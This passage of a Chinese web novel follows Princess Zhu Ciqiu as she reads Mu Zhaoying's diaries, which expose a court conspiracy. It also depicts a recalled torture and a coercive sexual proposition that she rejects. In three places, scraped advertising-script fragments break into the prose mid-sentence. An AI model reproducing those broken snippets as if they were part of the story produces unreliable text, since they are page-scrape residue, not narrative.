一开始诃仁说此处禁止异族人入内时,她便有所怀疑,但铁木修说外界人甚少知之此地,她便以为诃仁未曾来过此地,不知持木牌者皆可入内。又因铁木修的话她并未完全相信,也不想给诃仁解释一长串,所以才顺水推舟地信了诃仁那句乔装入内的话。不承想好容易相信他一次,竟又是想要戏耍与她。 是她未想全,脑子里的思绪被那些她渴求的真相所干扰,未曾想起乌玉胜既然让诃仁带她来此,又怎会不告知一切? 但诃仁受这一巴掌,可并不冤。 朱辞秋蹲在溪流边,一遍又一遍地擦拭脸上与手上的胭脂,直至彻底干净。 站起身后发现诃仁这厮仍旧愣愣地站在原地,看起来还有些不知所措。 她只是冷冷地瞥了眼,便自顾自地往前走。诃仁脚步似乎有些沉重,只默默地跟在她身后,也不再多说一句话,甚至连对那一巴掌的怒吼声都不曾发出过一句,更别提对她动手动脚的了。好像是良心发现,知道自己做错了般。 太阳即将彻底下山,黑夜逐渐逼近时,他们总算入了林中。 看见林中的守卫后,诃仁终于站到了她面前,用手举起木牌,重复了先前告诉外围守卫的那一句话后,此处的守卫只略瞥了眼她,看见她是大雍人后也只是睁大了些眼,并未发出疑问与阻拦。 林中只有一条道,不宽也不窄,左右两旁皆有守卫,朱辞秋算了算,每十步左右两旁便会各有一名守卫。此处要比外围严得多。 约莫走了半个时辰,林中烛火渐渐升起时,她与诃仁终于到了一处极大的木屋集中区,但亮着灯的却只有最中间的那间屋子。 这里反倒不再有守卫。她转过头,看见只有方才所经之地的尽头处有两名守卫。 朱辞秋欲往前走时,诃仁忽然拉住她的胳膊,她抬眼,示意他放手。 “等会儿再进去。”诃仁声音似有颤抖,连拉住她胳膊的手都有些微微发抖。 “好,那你继续在此处近乡情怯。”她冷笑一声,猛地抽走手,大步流星地往中间亮着灯的木屋走去。 中间的木屋极大,门口的灯笼是大雍式样,大门上还贴着对联,两旁木栏边的花圃中种着不属于这里的月季花,也不知是怎么种活的。 即便在黑夜中,借着烛火灯光她也能看清这地方就像是精心打造给屋中人的生活之地。 门口的门并未关严,她轻轻一推,随着“吱呀”一声,便入了内。 院子里竟然种着更多花,但院中无烛火,朱辞秋看不清这些是何花。右侧的空地上摆放着石头做的桌椅板凳,她凑近看时,上头似乎还放着几本书。脚下是鹅卵石铺成的路,主屋两旁还种着好几盆繁茂的竹子,屋内的烛火灯光从竹子间的间隙中透出来,主屋门口的灯笼小巧又精致,正发着微光。 她感觉此时并非身处南夏天神山之地,而是在大雍的某一处静谧山林中。 顺着木 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 制的台阶往上,借着微弱的烛火方才发现,这间木屋并非外头那些纯木头做成的,这门口与窗户,竟然有着大雍才有的极其精巧的雕花式样。 这哪能叫木牢啊。朱辞秋一面心中腹诽,一面抬手敲了三下门。 略等了一会,便听见里头的脚步声由远及近,紧闭的雕花木门从内打开,屋内的灯光一下子照亮她的脸庞,也让她看见背着光开门的女人。 女人并不年轻,却又不苍老。她散着发,穿着大雍式样的睡衣,顺滑的绸缎随着她的动作而轻轻摇摆着,她看着她,眼中露出些微疑惑来。 “敢问姑娘是?”女人的声音如春风细雨,温润又慈祥。 朱辞秋看向女人的那双眼,觉得乌玉胜真是像极了她。 她张了张口,心中早已想好的那句话竟未立刻说出来,只好垂眸看向自己的鞋尖,又抬眼笑着说道:“我叫朱辞秋,杜世安杜大夫叫我来此,我也想向夫人打听一些事。” 女人愣了下,扶住门框的手紧了紧又缓缓松开,她垂下眼,喃喃道:“朱……啊……” “我还以为你明日才到呢。”女人放下手,做了个请的动作,朝她道,“进来吧。” 朱辞秋微微皱眉。听这意思,穆家女似乎早已知晓自己会来此找她,难道杜世安也跟她通了信? 罢了,这些等会儿便会水落石出。于是她不再纠结此事,亦做了个请的手势,跟在女人身后入了内。 屋内用来防寒保暖的也并非火坑,而是炉中炭。正厅与卧房以屏风隔绝开来,屏风对侧是茶室与书写台。这些陈设,都让朱辞秋仿佛回到了大雍。 她站在中间,看向走入里侧披了件外袍又出来的女人,女人示意她随便坐,入了茶室忙了半刻后,从茶室端了一杯茶水递到她面前,轻声道:“大雍来的茶,你尝尝。” 朱辞秋随意坐在下方,看见女人在她对面落座,笑意盈盈地看着她。 她端起茶盏,看了女人一眼,只轻抿了一口茶水,又看向自己手中的茶盏,眼中闪过一丝惊异,开口道:“龙凤贡茶?” “没错。”女人笑了笑,“我只这一点,今夜给你尝尝。” 龙凤贡茶乃是大雍最贵的茶,且非皇室宗族不得食用之。 女人理了理衣摆,也喝了一口茶,用手指轻轻转动着茶盏,又垂眼看着茶盏,道:“你就是大雍的怀宁殿下吧?我儿跟我提过你,他,也跟我提过。” 未等朱辞秋言语,女人便抬起头看向她,眼中的笑意荡然无存,她在面前这位外表并不太过苍老的女人眼中,竟然看见了灰败求死之意,“我们穆家所有人都很对不住,你。” 朱辞秋一愣,不自觉地问出声:“夫人这是何意?” 女人摇了摇头,苦笑一声:“我知道你来此是为什么,但我所知也并不多,只能将我和乌图勒、朱煊贺之事,以及所有我知晓的事告知与你。” 她藏在桌下的手紧紧攥住衣摆,并未想到这位乌玉胜的母亲,竟然是如此爽快、一言切入正题之人。 42.第四十二话(二合一及中秋剧场) “殿下你饿了吗?” 朱辞秋这般想完后,面前的女人却并未立马说出下文,她只是微微一笑,站起身从茶室端了一盘点心出来,又轻轻地推到她面前,“阿胜说殿下喜欢吃甜一些的点心。这是我亲手做的松露糕,多加了两勺蜂蜜,殿下尝尝。” 她低首垂眸,看着青花瓷盘中摆放着的几枚松露糕,心中微微一愣。她抬手轻拿起一块松露糕,放在鼻尖嗅了嗅,又看向正一脸慈祥注视着她的女人,轻声开口道:“春狩前,他也曾拿给我一包松露糕。” “春狩前……”女人低着头思索了下,忽然想起什么,看向她的眼神中多了些了然,语气却有些怅然,轻叹道,“今年春狩前的那段日子是霞山谷十年一次的天祭,他应当是来替他父亲参加天祭的。我不知外界情况如何,只知最后那日,他竟来我这里待了半天,还点名要吃甜一些的松露糕。” “我便知道,他是为殿下而来。”女人又笑了笑,眼中的悲伤却更甚,“那日是他第三次来。第一次来是他刚回南夏伤重颓靡之时,与我说了许久殿下的事。我也是从那时便知道了殿下。第二次来——” 她顿了顿,眼里似乎有泪光闪烁,“第二次来,是初上战场前得知该死之人都未死,都仍身处大雍之时,他质问我是否早已知晓,我却……说不出一句辩驳之词……” “从那以后的几年里,他都未曾再来过。” 黑夜寂静,只有照明的烛火在跳动着。 朱辞秋等对面黯然神伤的女人说完最后一句话后,咬了一小口的松露糕。 春狩前,霞山谷天祭。想必她在杜与惟的木屋时,乌玉胜正要去参加霞山谷的天祭,所以来接她时才是那副她从不曾见过的南夏装扮。 乌玉胜回到南夏初入战场的时间,是建昌八年的春日。建昌八年夏至,龙虎关破,她与穆东风被迫退至山门关。建昌八年冬末,寒城惨状传出,同时燕京传信父皇病重,朱承誉监国,派新任监军欲顶替她的位置,穆东风率穆家残将返回龙虎关,欲往寒城。自此便由她一人独守山门关,直至建昌十年冬末。 从乌玉胜知道一切到如今,已整整三年。而她,整整三年,都拼凑不出一个完整的真相。 她也终于知道,那日春狩前的宴席上,乌玉胜带给她的糕点是何种滋味。或是因这是他专门,让他母亲做给她吃的,所以在塔娜家中时,他才会问自己,究竟有没有吃那份松露糕。 “夫人让他逃回大雍,也是他们计划中的人一环吗?”她吃完手中最后一口松露糕,喝了一口茶水后,看着对面的女人淡淡问道。 女人垂眸静静地看着桌上的松露糕,沉默良久,又叹了一口气:“我不知该如何解释。”随即又看向她,轻声问道,“殿下可有带一把钥匙?” 朱辞秋看着她,沉默须臾,方才点了点头。 “早前,我曾有写游记的习惯,看过的山川、见过的风土人情,经历的所有事情都会写在纸上。可从我选择帮助我的家人后,那便成了我的枷锁。”女人站起身,望向门外,“我将那些陈年旧事关了起来,把钥匙放在外界,这样我便再也看不见那些令我痛苦的枷锁。” 她亦站起身,走到女人身旁,顺着她的视线看向门外,“既想脱离苦海,为何,不烧了它们。” 女人看向她,眼中流下一滴泪珠,她轻轻抬手拂去后,苦笑着开口:“可能是因为那也是我在这世间,存在过的唯一证明了。” 两人沉默着并肩站着,过了一刻后,女人方才又开口:“花圃右侧的耳室便是存放游记之地,里面所有我知晓的事,都被我记录了下来。” “对了。”她顿了顿,有些强颜欢笑道,“这周围的每间屋子都无人,殿下可随意找间屋子休息,我不会来打搅殿下。” “看完一切后,我不求殿下原谅穆家,只求殿下莫要迁怒与阿胜。他自知晓一切后,便如同变了个人般。知子莫若母,我知他,整日活在痛苦不堪中,却又想殿下垂怜与他,所以才成了如今这般别扭的模样。” “夫人竟如此知晓外界之事?”朱辞秋并未被带入情绪中,而是微微挑眉,仍平淡问道。 “是阿兰,跟我说过两句你的事。”女人笑了笑,“杜大夫也在信中谈及此事,况且近些年的许多事,我并非一无所知。” “那你知道,屋外还有一人吗?” 女人一愣,正欲开门查看时,朱辞秋开口道:“是诃仁。” 空气有些凝固,面前开门的女人的手似有颤抖,她停在原地,朱辞秋看不清她的神情,只能听见女人的声音带着些怅然与悲伤,“我与阿仁,是许久未见了。” 言罢,她便打开了门,从门口提起一盏点亮着的灯笼,走下台阶,朝大门口而去。 而朱辞秋则不再管这二人,她将目光定在一旁上着锁的耳室,从屋中拿走一方小烛台,又从怀中掏出铁木修给她的那把钥匙,缓缓下台阶后走向耳室门口。 “啪嗒”一声,锁被打开,她轻轻推了推门,笨重又久未打开的木门发出一声沉重的“吱呀”声。推门入内后,她将门关严,顺手插上了门梢。 里间灰尘满天又阴暗的环境叫她不自觉地咳嗽两声,在见着一旁有供照明的烛台后,将手中点燃的烛台微微倾斜,让屋内的烛台也亮了起来。 她举着烛台,仔细观察着屋子。墙边的书架高至屋顶,上头堆放着许多书籍,中间空地并不大,只放着一方桌案与椅子,右侧靠窗的位置还有一方美人塌,上头的软枕早已生了灰,而窗户,则全在里侧被封死,从外侧根本打不开。 举着烛台走到书架,从上到下仔细地看了一遍摆放的书籍,最上头的几排基本上都是各方风土以及地图详解,还有一些简单的防身术,甚至还有许多本话本子。最下方便是一些由人手写而成的游记,齐齐整整地堆了两排。 她蹲在地上,将烛台放在一旁,随手抽出一本游记。 封面上写着一个名字,穆照盈。上头还写着,游大雍紫檀山记。 原来乌玉胜的母亲,叫穆照盈。 朱辞秋慢慢翻动着游记,这里面记录的是从寒城出发至紫檀山路途中的所见所闻,及登上紫檀山后所见日出之壮观景色。 短短几页,她仿佛就能从字里行间看见那个年轻的少女,背着包袱游历大江南北的轻快背影。 她翻至最后一页,看见了最后一行小字。 宁和二十六年三月十八。 距今已有二十九年了。 朱辞秋想起了皇爷爷,那是大雍在位最久的皇帝,从二十岁到六十五岁,从宁和一年到宁和四十四年。连她自己,都出生于宁和三十二年。 她已经不记得皇爷爷的长相了,记忆里,她也很少见到皇爷爷。直到十二岁那年,皇爷爷病重,她跟着母后入宫随侍,才凑近看过几眼。 朱辞秋敛了思绪,将手中看完的游记放回原位,借着烛火将最下面两排的游记通通抱了出来放在桌案上,放不下的便堆到地上。 她又弯腰将烛台放在桌案空余之地,低头看了看椅子,看见灰尘后微微皱眉,却也不想坐在地上,于是便忍着脏意坐了下来。 这些游记几百本,虽看着多,但每本里头的内容却不是特别多,盖因穆照盈的字写的较大,一页写不了多少内容,这才一本一本地记着。 每一本她都从最后一页开始翻,发现穆照盈自宁和二十四年起便喜欢四处游历。 找了约三刻钟,她便找到了穆照盈入蜀中的那本游记。 穆照盈入蜀地是在宁和二十八年,一直到宁和二十九年末,她才从蜀地离去,返回寒城。 她将烛台移近,仔细地翻看着这本游记: 宁和二十八年二月二十日,我终于偷偷地从寒城辗转多日终于来到蜀地边界,路上遇见了许多从蜀地赶往外地的人,仔细一问才知他们是去燕京与江南各地找活计做,看来这蜀地的百姓真如父亲所言,日子十分难过啊! 刚入城门,便看见一辆破败无比的马车飞驰而过,溅了我一身的泥!好在里头坐着的人勉强算是知书达理,赔了我一锭银子。虽然我这衣裳不值这么多钱,但这人给了钱便走了,我也就只好收下啦! 宁和二十八年三月十日,蜀地的掌柜真是见钱眼开!有个臭不要脸的达官显贵包下这唯一的客栈,直接把我轰出了门!好在一出门便遇上之前溅我一身泥的那个人,他好像可以进客栈,我就把那锭银子还给了他,让他施舍给我一间客房,跟他说过几日等我找到新的房子了便搬走。 本以为这家伙是个不好说话的,没想到一口便答应了!他还告诉他的名字,叫煊贺,我问他怎么没有姓,他也不告诉我,真是个神秘的人! 宁和二十八年四月五日,南夏人跟蜀地人打起来了,血光四溅,客栈也被砸了,我也差点没命。煊贺这个人倒是躲得及时,一点事都没有,好在这个人仗义,给我治伤还给我找了新的住所,我还以为他会劝我离开这里呢。 宁和二十八年五月七日,我伤好了,去了蜀地的一座山,里面竟然还有座道观,在里头混吃混喝了半个月,又遇见了煊贺。不过这次,他身边好像还跟着一个南夏人? 宁和二十八年五月三十日,我在蜀地的集市上又看见了那个在煊贺身边的南夏人,他长得真好看啊,所以我上前去问了他的名字。他说他叫乌图勒。真奇怪的名字。 宁和二十八年七月一日,蜀地真的太大了!而且也没有很多流离失所的百姓啊,我还想着救济一些受苦受难的百姓来着,看来是多虑了!这段日子,我跟乌图勒越来越熟,原因是他的中原话很不好,所以缠着我让我教他,所以我便诓他陪我一起游历四方,这小子还真答应了! 宁和二十八年八月八日,今天是我的二十岁生辰!我告诉了乌图勒,也想告诉煊贺,毕竟他是我在这里的第一个朋友!但我总是找不到煊贺这个人,可没想到晚上乌图勒来找我时,我居然看见了失踪的煊贺!他们带着好多礼物,我还吃了乌图勒亲手做的长寿面,虽然味道,很一般。不过,很开心。 朱辞秋一页一页地翻着,下面许多页都是穆照盈与乌图勒四处游玩的记录,偶尔也会记下一些突然出现的煊贺,宁和二十八年除夕时,他们三人过了一个很美好的除夕夜,乌图勒还为穆照盈亲手做了烟花,虽然中间差点把煊贺的外袍点燃,但最终还是绽放出了极美极绚丽的烟花。 直到宁和二十九年四月春末,蜀地平和的假象被无情地打破,大批的流民冲破无人之地的牢狱,砍伤侍卫冲入蜀地各地方的衙府,大声叫嚣着。 游记中记:我听见了他们的呐喊,那位被流放至蜀地的皇子为早日回到燕京,以钱财联合府衙官员,将定无居所的流民强行关入无人之地,这样便能一直维持蜀地平和的假象。我也听见了那位皇子的名字,看见了他出现在暴乱的府衙之中,他叫朱煊贺,也是我认识的煊贺。 这之后,穆照盈想凭一己之力对抗整个蜀地府衙,故意搅乱局势,让流民扩大。却被朱煊贺关了起来,她质问他,为何一定要如此? 朱煊贺告诉她:你根本不知我经历了什么,我在这里待了三年,眼看就能回到燕京得到我本应得到的一切!你不该跟我作对。 穆照盈被关了六个月,整整半年。直到流民被府衙官兵铲除殆尽,她才被放了出来,再次看见了平和的蜀地时,她只觉得恶心。 是乌图勒忽然出现她面前,要带她走,他说他要带她回寒城。那时他的中原话还是很差,可是她很喜欢听乌图勒说话,可是她忽然想起初见乌图勒时,他跟在朱煊贺身旁。 于是她问乌图勒:你有参与吗? 乌图勒摇头,告诉她南夏出了些事,他都在处理南夏的事,今日 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 才得空来看她。 宁和二十九年十一月,她跟乌图勒离开了蜀地。但朱煊贺,却不让她走。是乌图勒拼着一条命,从几十人的围攻中带走了她。 她看着要死掉的乌图勒,哭得上气不接下气。还好他命大,能用她乱采的许许多多的草药活了下来。 伤好后的乌图勒将她送到寒城城门口,之后便回到了南夏,自此她再也没见过乌图勒,也没有听说过他的任何一句消息。就连蜀地的消息,她都再也未曾听见过。 直到宁和三十一年,她听说了亲征至大雍的南夏首领,名叫乌图勒。 朱辞秋关上手中的游记,拿起下一本后,发现这本封面上什么都未写,于是便翻开了第一页,写了一行极大的年月。 宁和三十一年十月二十日。 朱辞秋继续往下看,知道了正是那日乌图勒在阵前身受重伤,而这消息,也自寒城军中传入穆照盈耳中。 穆照盈放心不下,也想问问乌图勒为何要攻打大雍,便偷偷跑出去,走了一条常年在走的小道,却被南夏王军挡在外头险些杀了。是她忘了,南夏与大雍正打仗,已不是和平共处之时了。 于是她拿出了乌图勒给她的信物,被守卫带着搜身后才入了内。 穆照盈照顾了昏迷的乌图勒半个月,见他醒来好转后才问他为何要攻打大雍。乌图勒的中原话还是很差,他磕磕绊绊地告诉她,这几年南夏的牛羊冻死很多,许多人猎不到猎物只能活生生饿死,他想给他们更好的生活。 乌图勒还告诉她,如果她愿意去南夏看一看,他现在可以不攻打大雍。 想起军中那些人的伤势与疲惫,穆照盈最终同意了。 她看到了更多她从未见过的景色,也看见了许多饿着肚子吃不上饭的人们,乌图勒好像真的是在帮助他们,可攻打大雍来帮助南夏人吃饱穿暖,会让大雍的百姓受难。 穆照盈越来越不开心,她想回大雍,不想再在这里看更多人的苦难,她不知道该怎么办,所以想要回家。可乌图勒忽然告诉她,他喜欢她,愿意为她放弃一切。 她也真的,相信了。她和这个异族男人,在天地的见证下,成亲了。可她不知道,乌图勒早已与巫族的一个女人成了亲,甚至生了孩子。 等穆照盈知道时,她已经怀有身孕了。她开始恨乌图勒欺瞒她,乌图勒跪着求她原谅他,她却不想再看这个男人一眼,可回到王帐后,她忽然身中剧毒,是乌图勒抱着她,背着她到了霞山谷,受了献礼,求巫医替她解毒。 她生下了一个男孩,南夏人喜欢玉,乌图勒喜欢胜,所以他叫乌玉胜。 在霞山谷的那段日子,是穆照盈在南夏最平和的时光。 回到王帐后,她听不懂南夏话,所以被娜木寒算计嘲讽,后来因为那次的毒,她身体十分不好。乌图勒又格外繁忙,她便自己一个人,带着乌玉胜住在了巫族医师的地盘。 因此认识了巫族的碧雅,她也有一个儿子,与乌玉胜年龄相仿,时常能玩到一块去。她常常去碧雅那里,让她教她南夏话,这样好在娜木寒讽刺她时嘲讽回去。 可直到那一日,也许是宁和三十七年吧,碧雅被她的丈夫剥皮剔骨,而她的儿子诃仁被捆在一旁,亲眼看着他的母亲被如此残忍地对待。 穆照盈简直要疯了,想吐,觉得恶心,眼泪也止不住地流。那是她第一次看见如此酷刑,她来到首领面前让他们救救碧雅,可他们无动于衷。 她忽然觉得毛骨悚然,像在看一群怪物一般。她又跑到碧雅家,拿出乌图勒给的信物,用乌图勒威胁这个巫族男人,从他手中救下了诃仁。她站在巫族祭台,告诉所有人碧雅丈夫的罪行,可所有人都无动于衷。他们甚至要杀了她。 乌图勒是什么时候来的,她根本不知道,等她回过神时,他已经抱着她告诉她:该死的人都已死光了,盈盈不要再害怕了。 他带着她,还有乌玉胜与诃仁,来到了霞山谷,从此以后,她再也没有离开过霞山谷。 直到十一年前,穆照盈已经不清楚此时的年号年份是否已经更换,只能省略了此间话,写下了从宁和三十七年至今已是第七年。 乌图勒常来霞山谷看她,于是他们有了第二个孩子,乌图勒说叫她纳兰。他很喜欢这个女儿,穆照盈也喜欢。直到那日,她看见了许久未曾见过的故人,朱煊贺的信物。她不知那是否算是信物,只是觉得眼熟,因为那是他们三人除夕夜时,她送给朱煊贺的荷包袋子。 她终于知道了乌图勒与朱煊贺真的一直暗中往来,暗中谋划。可她不知道他们要做什么,她现在觉得乌图勒,比朱煊贺还要恐怖。 直到乌图勒将她父亲写给她的信递给她,她开始恶心,想吐,觉得这世间全是假的。 朱辞秋仔细看了看这页的字,发现穆照盈确实并未将信中内容写在上面,于是只好作罢继续往下看。 穆照盈听从了父亲的安排,让乌玉胜逃回了南夏。她与乌图勒恩断义绝,自求被困在天神山脚下,但乌图勒却为她建了一座,当年她在蜀地住了一年之久的,一模一样的木屋之地。 穆照盈最后写了一句:乌图勒没有履行他的承诺,我被困在南夏,大雍也再没有我的姓名。 朱辞秋合上手中书页,微不可察的叹了一口气。 她左右翻动着其他游记,想从书中缝隙中找到有没有那封关于穆老将军计划的信。 可惜的是,她将整个书案都翻过来了,都未找到。于是她站起身,想去身后的书架上找找,却忽然觉得头晕目眩,险些站不稳脚。 等恢复正常后,她抬眼望向外头,似乎能听见些晨间的鸟鸣声,好像是已经天亮了。但这屋子里,却一点光都透不进来。 她正要转身往书架处去后,门口忽然响起一阵熟悉的嗓音。 “殿下,先吃早饭再看吧。” 43.第四十三话 “殿下。” 是乌玉胜的声音。 朱辞秋身影略微一顿。分明见他伤重难行,如今却与她来此的间隙只隔了一夜,果真是皮糙肉厚不怕死。 这样的想法只存于脑中一刹那便被她抛却,只专心翻找着那封书信。 她举着烛台,仔细探查书架上的每个缝隙角落,又突然想起穆照盈游记中的话。既然是乌图勒将信带给穆照盈的,他那时自知与穆照盈已离心离德,想必不会任由如此机密的信件留于此间。与其在这漫无目的寻找,倒不如出门去问问她,那封信上究竟写了什么。 就在她走向门口时,屋外又响起两声敲门声。她微微皱眉,将门梢缓缓取下放在一旁,还未抬手推门,门却立马从外打开。 因着她一夜未曾见强光,所以在开门的一刹那不自觉低下头,想用手挡住日光。门口久不说话的男人忽然挡在她面前,一只手接过她手中的烛台,另一只手轻轻覆住了她的双眼。 熟悉的皂角青草气息再度包裹住她。她亦能从还未来得及放下的那只手的指缝中,看清面前这个男人的胸膛正缓慢起伏着。 乌玉胜骤然凑近一步,让她呼出的热气不自觉涌在他宽大的手心上,似乎也让乌玉胜的指尖轻微颤动一下。她听见他轻声开口:“日光刺眼,殿下稍候。” 过了一会儿,朱辞秋不愿再稍候,她放下手,主动抬脚侧移两步迈出门槛,又在乌玉胜身后一步停了下来,侧头看向他的背部,沉默一瞬。 他今日,穿的红衣。 见他仍举着烛台愣在原地,仿佛不知该做些什么,说些什么。于是她只好淡淡开口:“你是来此罚站的吗?” 话音未落,乌玉胜便迅速转身跟在她身后,与她一同朝主屋而去。 路并不远,但朱辞秋走得很慢。也是此时她才看清这些花圃中,原来种的都是月季花,开得还极好。 一大片月季花,让整个木屋院子都充斥着并不浓郁却又能闻得见的淡淡花香,花圃相连的根茎与绿叶间有一些未消散的露珠,露珠绿叶与绽放的月季,一同在从树缝间透过来的朝晖下发着光。 白日看此地,静谧又安详,像极了她在燕京时,从闲书话本中读到过的世外隐居之地。 主屋的门大开着,朱辞秋顺着台阶往上走,却忽然被身后的乌玉胜拉住衣袖,她停在原地,转头看向他。 乌玉胜额间的汗渍顺着脸颊滴在地上,嘴唇愈渐发白,声音也有些颤抖,却又极力克制,看起来像背上的伤口又复发了。 他微微张口,吐出两个字来:“殿下。” 朱辞秋挑了挑眉,似是在等待着他的下文。 乌玉胜并不言语,只抬脚上了台阶,与她站在一起。他弯腰又低头,抓着她的那只手顺着胳膊往上,轻轻按在她肩头上。 朱辞秋未抬首,冷淡地与乌玉胜平视。她看得清楚,面前这个男人眼中,似有万般杂糅在一起的情绪,就如同她与乌玉胜那些理不清剪不断的感情般难以辨明哪些是真,哪些是假。 她听见他缓缓说出四个字来:“让我陪你。” 这四个字,像从乌玉胜胸腔中发出来般,低沉又缓慢,铿锵有力又让人不容拒绝。 朱辞秋闻言,抬眼又垂眸。她看向自己肩膀,示意乌玉胜将放在她肩头的手拿开。见后者站直身子照做后,她才笑了笑,道:“随你。” 说罢,她便不再搭理乌玉胜,踏过台阶见主屋的大门半掩着,于是又停在门口,抬手轻敲了三下门。 屋内无人应答,朱辞秋便知屋内空无一人,于是自顾自地迈进门槛。刚一进屋,乌玉胜紧随其后,将烛台放在原位后,又转身将主屋的门关好。 此时屋子里只有她与乌玉胜二人。 乌玉胜看着她,而她则目不转睛地盯着主桌上摆在明面上的那封信。 她走到桌沿边,垂眸看向那封信。手略微在半空停顿一下后,便一面将信件拿起,一面坐在了一旁的椅子上。而乌玉胜,则坐在她身侧,与她只隔了一张主桌的位置。 他将一旁的茶杯翻转,给她添了一杯新茶,又亲眼看着她,拆开了那封信。 信有三页,第一页只写了一行字:君要臣死,臣不得不死。 朱辞秋看过穆老将军的笔迹,方才也见过了穆照盈的笔迹。是以她只看一眼此信,便能确定,这里头的内容皆是穆照盈所写。想来是依着她脑中所记而誊写下来的内容。 她翻动剩下的那两页纸,看了半晌。屋内安静得只能听见她与乌玉胜的呼吸声。不知过了多久,她的手始终捏着信纸,一直注视着信中内容,连睫毛都不曾颤动一下。 “果真是好大一盘棋。”朱辞秋勾起唇角,冷笑了一声。她将信纸举在半空,仰头看向它,“南夏,大雍,全是蛇鼠一窝。怪不得穆照盈会恶心地独居此处,不愿再见他们任何一面。” 朱煊贺。她在燕京时,从未听说过这个人,就连如今年纪最轻的兵部侍郎顾霜昶,都从未对她提起过这个人。 顾家百年世家,三代宰辅。顾家的大家长,那位从先皇即位便一直辅佐他的肱骨老臣,在大雍,几乎是无所不知,无所不晓的存在。 可燕京的所有人,都从未想起过,先皇曾有一位名唤朱煊贺的儿子。 朱辞秋终于知道,原来史书传记的白纸黑字,真的可以随意篡改涂抹。 “殿下,”乌玉胜忽然半跪在她面前,伸手想要将那信纸从她手中拿走,“如今既已看完,便先吃饭,一切事宜等饭后再说。” 朱辞秋晃开乌玉胜的手,微微低头看向他的眼睛,沉默须臾后,缓慢开口道:“我父皇即位前,南夏与大雍的战事并不频繁,我原先不知,乌图勒是因为你母亲,还是因为朱煊贺的计划才会如此。” “如今我却明了,乌图勒与朱煊贺这样的人,是没有心的。”她将信纸轻轻放开后,任由这载满穆照盈痛苦的计划飘落在地上,也飘落在乌玉胜身侧,“至于穆老将军,穆伯鸣。或许他在我父皇即位前,是真心在守着大雍的百姓,守着长邑十三州。” 她就这样看着乌玉胜,没有再说出后半句话。但她与他,如今都已心知肚明。 朱煊安,信中提到过他。那是她父皇的名字,他在十一年前即位后,不,应当是他在先皇病重监国时,做的第一件事不是安抚边塞,而是让从未上过战场读过一本兵书的宦官,去做监军,掌管军权。 何其荒谬,何其可笑的一件事。 直到穆东风一刀砍掉了宦官的头,朱煊安没过多久成功即位,要召回那位监军的宦官。朱煊安好不容易熬到先皇病逝,迫切地想要立下新皇威风,在知道宦官死于战场后,要穆东风回京述职。 谁都知道,穆东风此去非死即困,而边塞也将再无先皇所在时那般安宁。恰在此时,乌图勒找到了穆伯鸣。 穆伯鸣知道了穆照盈的下落,也看见了乌玉胜的画像。 “穆伯鸣想要族人与儿子安全,所以乌图勒告诉他,你,能替穆东风回京。”朱辞秋手扶着椅把,半垂着眼,好似在看乌玉胜,又好似在看地下散落的纸张,“你与穆照盈相像,也与穆东风眉眼有些相似。只要与穆伯鸣有血缘关系的任何一人回京,朱煊安都能在燕京,在大雍,立下他所谓的威严。” 乌玉胜低下头,将散落在地上的纸张一一拾起后攥在手心,他抬着头,看向她,缓缓开口道:“他被压得太久了,所以在得到皇权,坐上龙椅的那一刻,就再忍不住本性。” “穆伯鸣不是愚忠之人,他猜到穆家日后再无安宁,或许某一日就要被昏君随便寻个借口灭族。所以他在乌图勒的引诱下,选择与他合谋。”她看向门口,顿了顿,“但,若没有朱煊贺,穆伯鸣又怎会答应与南夏蛮夷的首领合谋。” 信中并未写太多筹谋之事,大多都是穆伯鸣在晓之以情,动之以礼。朱煊安的恶行,朱辞秋在信中已看够,这些事能让朱辞秋感到不快,却并不足够让穆照盈厌世至此。 能让穆照盈如此的,或许是她终于知道很早之前,早到乌图勒在南夏都未曾有姓名之前,朱煊贺便与他相识,蜀地与南夏,早已暗中勾结。又或许是,自己的父亲为一族生机与异国合谋,而自己,则是那根最先的导火索。 若不是她,穆伯鸣不会收到乌图勒的信,亦不会同意暗中与其相见,更不会看见早前燕京传来的讣文中,早已死去多年的朱煊贺。 朱辞秋猜,或许从一开始,穆照盈便是他们计划中的一环。 乌玉胜仍旧半跪在地上,他一只手扶着桌沿,一只手攥着纸张,眼神倔强又偏执地看着她,只是嘴唇泛白,看起来非但不可怕,反而有一丝脆弱。 “穆家很多人,都没死。” “我知道。”朱辞秋微微一笑,看不出是怒是喜,“那些人头,全是假的。” “殿下——” 乌玉胜话音未落,她也不想等他将话说完,只迅速起身,绕开半跪于地上的男人往外走。 她迫切地想要离开此地,在门口停住一瞬,背对着乌玉胜轻声说道:“我要回大雍。” 打开门的那一瞬间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,身后的男人却忽然扑了过来,宽大又冰冷的手掌抢先一步扣住她的手,又将她往后一拉。朱辞秋被迫转身,还未来得及反应,乌玉胜健硕有力的臂膀便又立马将她圈住,宽大的手掌紧紧扣住了她的腰。 趁朱辞秋未回神的刹那,乌玉胜将门重新关严。 她紧蹙眉头,在乌玉胜怀中挣扎几下,后者扣住她腰的那双手却搂得愈发紧,让她险些喘不过气。于是只好抬头望了他一眼,冷声道:“放开。” 乌玉胜摇头,眼中情意摇曳。他将她抵在门上,低着头,弯着腰,鼻尖缓缓触碰到她的鼻尖。朱辞秋侧头躲开,却躲不开均匀又缓慢的湿热呼吸。 湿热的气息一下,又一下地涌向她脖颈,陌生的感觉让她不自觉地皱起眉头,双手抵在乌玉胜胸膛前,想要将他推开。 乌玉胜越凑越近,只是却又突然直起身,仍旧垂着头,只是微微抬手,将食指与中指并拢,轻轻抚摸着她紧皱的眉头,又缓慢地朝左右滑动,像是在抚平她紧皱起的眉头。 她抬起头,唇齿微启,却又什么都未说,只忽然抬手打向乌玉胜一直摸她眉头的手,却又被乌玉胜攥住手腕。他凑到她耳边,轻声又恶劣的开口:“殿下若愿与我春宵一刻,我便放殿下回大雍。” 这句话让朱辞秋掀起眼皮,近乎绝情地看着乌玉胜。 良久,她粲然一笑,“你真让我恶心。” 在乌玉胜似乎因这句话而愣神时,她便立马抬手,用食指和拇指猛地揪住他脸颊上的肉,又狠狠地往外拉,甚至一直拧着脸颊那块并不松软的肉。 因为被乌玉胜的两条胳膊圈着禁锢住,甩不了他巴掌,所以只好让他受一受这皮肉之苦。 